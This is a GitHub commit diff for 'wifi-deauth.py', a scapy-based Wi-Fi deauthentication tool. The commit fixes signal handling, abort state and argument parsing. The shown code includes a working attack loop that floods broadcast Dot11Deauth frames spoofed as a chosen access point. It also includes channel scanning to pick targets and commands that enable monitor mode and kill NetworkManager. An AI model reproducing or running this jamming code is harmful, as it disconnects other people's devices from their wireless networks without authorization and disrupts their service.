Skip to content

Commit 642052a

Browse files
committed
fix signal handling
1 parent f54e7d8 commit 642052a

File tree

1 file changed

+33
-28
lines changed

1 file changed

+33
-28
lines changed

wifi-deauth.py

Lines changed: 33 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
#!/usr/bin/env python3
22

33
import copy
4+
import signal
45
import logging
56
import argparse
67
import traceback
@@ -28,6 +29,8 @@
2829

2930

3031
class Interceptor:
32+
_ABORT = False
33+
3134
def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssid_name, custom_channels):
3235
self.interface = net_iface
3336
self._channel_sniff_timeout = 2
@@ -36,7 +39,6 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssi
3639
self._printf_res_intv = 1
3740
self._ssid_str_pad = 42 # total len 80
3841

39-
self._abort = False
4042
self._current_channel_num = None
4143
self._current_channel_aps = set()
4244

@@ -69,7 +71,7 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssi
6971
def parse_custom_bssid_name(bssid_name: Union[None, str]) -> Union[None, str]:
7072
if bssid_name is not None:
7173
bssid_name = str(bssid_name)
72-
if len(bssid_name) != 0:
74+
if len(bssid_name) == 0:
7375
print_error(f"Custom BSSID name cannot be an empty string")
7476
raise Exception("Invalid BSSID name")
7577
return bssid_name
@@ -78,19 +80,20 @@ def parse_custom_channels(self, channel_list: Union[None, str]):
7880
ch_list = list()
7981
if channel_list is not None:
8082
try:
81-
ch_list = channel_list.split(',')
83+
ch_list = [int(ch) for ch in channel_list.split(',')]
8284
except Exception as exc:
8385
print_error(f"Invalid custom channel input -> {channel_list}")
8486
raise Exception("Bad custom channel input")
8587

8688
if len(ch_list):
89+
supported_channels = self._channel_range.keys()
8790
for ch in ch_list:
88-
if ch not in self._channel_range:
89-
print_error(f"Custom channel {ch} is not supported by the network interface")
91+
if ch not in supported_channels:
92+
print_error(f"Custom channel {ch} is not supported by the network interface"
93+
f" {list(supported_channels)}")
9094
raise Exception("Unsupported channel")
9195
return ch_list
9296

93-
9497
def _enable_monitor_mode(self):
9598
for cmd in [f"sudo ip link set {self.interface} down",
9699
f"sudo iw {self.interface} set monitor control",
@@ -106,7 +109,6 @@ def _kill_networkmanager():
106109
print_cmd(f"Running command -> '{BOLD}{cmd}{RESET}'")
107110
return not os.system(cmd)
108111

109-
110112
def _set_channel(self, ch_num):
111113
os.system(f"iw dev {self.interface} set channel {ch_num}")
112114
self._current_channel_num = ch_num
@@ -133,6 +135,8 @@ def _ap_sniff_cb(self, pkt):
133135
self._custom_bbsid_last_ch = self._all_ssids[band_type][ssid].channel
134136
else:
135137
self._clients_sniff_cb(pkt) # pass forward to find potential clients
138+
except KeyboardInterrupt:
139+
self.user_abort()
136140
except Exception as exc:
137141
pass
138142

@@ -151,14 +155,15 @@ def _scan_channels_for_aps(self):
151155
self._set_channel(ch_num)
152156
print_info(f"Scanning channel {self._current_channel_num} (left -> "
153157
f"{len(channels_to_scan) - (idx + 1)})", end="\r")
154-
sniff(prn=self._ap_sniff_cb, iface=self.interface, timeout=self._channel_sniff_timeout)
158+
sniff(prn=self._ap_sniff_cb, iface=self.interface, timeout=self._channel_sniff_timeout,
159+
stop_filter=lambda p: Interceptor._ABORT is True)
155160
except KeyboardInterrupt:
156161
self.user_abort()
157162
finally:
158163
printf("")
159164

160165
def _found_custom_bssid_name(self):
161-
for all_channel_aps in self._channel_range.values():
166+
for all_channel_aps in self._all_ssids.values():
162167
for ssid_name in all_channel_aps.keys():
163168
if ssid_name == self._custom_bssid_name:
164169
return True
@@ -168,10 +173,8 @@ def _custom_bbsid_name_is_set(self):
168173
return self._custom_bssid_name is not None
169174

170175
def _start_initial_ap_scan(self) -> SSID:
171-
print_info(f"Starting AP scan, please wait... ({len(self._channel_range)} channels total)")
172-
173176
self._scan_channels_for_aps()
174-
for _, band_ssids in self._all_ssids.items():
177+
for band_ssids in self._all_ssids.values():
175178
for ssid_name, ssid_obj in band_ssids.items():
176179
self._channel_range[ssid_obj.channel][ssid_name] = copy.deepcopy(ssid_obj)
177180

@@ -191,14 +194,12 @@ def _start_initial_ap_scan(self) -> SSID:
191194
printf(f"{pref}{self._generate_ssid_str(ssid_obj.name, ssid_obj.channel, ssid_obj.mac_addr, preflen)}")
192195
if not target_map:
193196
print_error("Not APs were found, quitting...")
194-
self._abort = True
197+
Interceptor._ABORT = True
195198
exit(0)
196199

197200
printf(DELIM)
198201

199202
chosen = -1
200-
if self._custom_bbsid_name_is_set() and self._found_custom_bssid_name():
201-
chosen = 0
202203
while chosen not in target_map.keys():
203204
user_input = print_input(f"Choose a target from {min(target_map.keys())} to {max(target_map.keys())}:")
204205
try:
@@ -230,7 +231,7 @@ def _packet_confirms_client(pkt):
230231

231232
def _listen_for_clients(self):
232233
print_info(f"Setting up a listener for new clients...")
233-
sniff(prn=self._clients_sniff_cb, iface=self.interface, stop_filter=lambda p: self._abort is True)
234+
sniff(prn=self._clients_sniff_cb, iface=self.interface, stop_filter=lambda p: Interceptor._ABORT is True)
234235

235236
def _run_deauther(self):
236237
try:
@@ -240,7 +241,7 @@ def _run_deauther(self):
240241

241242
rd_frm = RadioTap()
242243
deauth_frm = Dot11Deauth(reason=7)
243-
while not self._abort:
244+
while not Interceptor._ABORT:
244245
self.attack_loop_count += 1
245246
sendp(rd_frm /
246247
Dot11(addr1=BD_MACADDR, addr2=ap_mac, addr3=ap_mac) /
@@ -258,7 +259,7 @@ def _run_deauther(self):
258259
sleep(self._deauth_intv)
259260
except Exception as exc:
260261
print_error(f"Exception in deauth-loop -> {traceback.format_exc()}")
261-
self._abort = True
262+
Interceptor._ABORT = True
262263
exit(0)
263264

264265
def run(self):
@@ -275,7 +276,7 @@ def run(self):
275276
printf(f"{DELIM}\n")
276277
try:
277278
start = get_time()
278-
while not self._abort:
279+
while not Interceptor._ABORT:
279280
print_info(f"Target SSID{self.target_ssid.name.rjust(80 - 15, ' ')}")
280281
print_info(f"Channel{str(ssid_ch).rjust(80 - 11, ' ')}")
281282
print_info(f"MAC addr{self.target_ssid.mac_addr.rjust(80 - 12, ' ')}")
@@ -288,14 +289,18 @@ def run(self):
288289
print("")
289290
self.user_abort()
290291

291-
def user_abort(self):
292-
self._abort = True
293-
printf(f"{DELIM}")
294-
print_error(f"User asked to stop, quitting...")
295-
exit(0)
296-
292+
@staticmethod
293+
def user_abort(*args):
294+
if not Interceptor._ABORT:
295+
Interceptor._ABORT = True
296+
printf(f"{DELIM}")
297+
print_error(f"User asked to stop, quitting...")
298+
exit(0)
297299

300+
# todo custom bbsid name - document "\" espa
298301
if __name__ == "__main__":
302+
signal.signal(signal.SIGINT, Interceptor.user_abort)
303+
299304
printf(f"\n{BANNER}\n"
300305
f"Make sure of the following:\n"
301306
f"1. You are running as {BOLD}root{RESET}\n"
@@ -317,10 +322,10 @@ def user_abort(self):
317322
default=False, dest="skip_monitormode", required=False)
318323
parser.add_argument('-k', '--kill', help='kill NetworkManager (might interfere with the process)',
319324
action='store_true', default=False, dest="kill_networkmanager", required=False)
320-
parser.add_argument('-b', '--bbsid', help='custom BBSID name (case-sensitive)',
325+
parser.add_argument('-b', '--bbsid', help='custom BBSID name (case-sensitive)', metavar="bssid_name",
321326
action='store', default=None, dest="custom_bbsid", required=False)
322-
parser.add_argument('-c', '--channel', help='custom channels to scan, separated by a comma (i.e -> 1,3,4)',
323-
action='store', default=None, dest="custom_channels", required=False)
327+
parser.add_argument('-c', '--channels', help='custom channels to scan, separated by a comma (i.e -> 1,3,4)',
328+
metavar="ch1,ch2", action='store', default=None, dest="custom_channels", required=False)
324329
pargs = parser.parse_args()
325330

326331
invalidate_print() # after arg parsing

0 commit comments

Comments
 (0)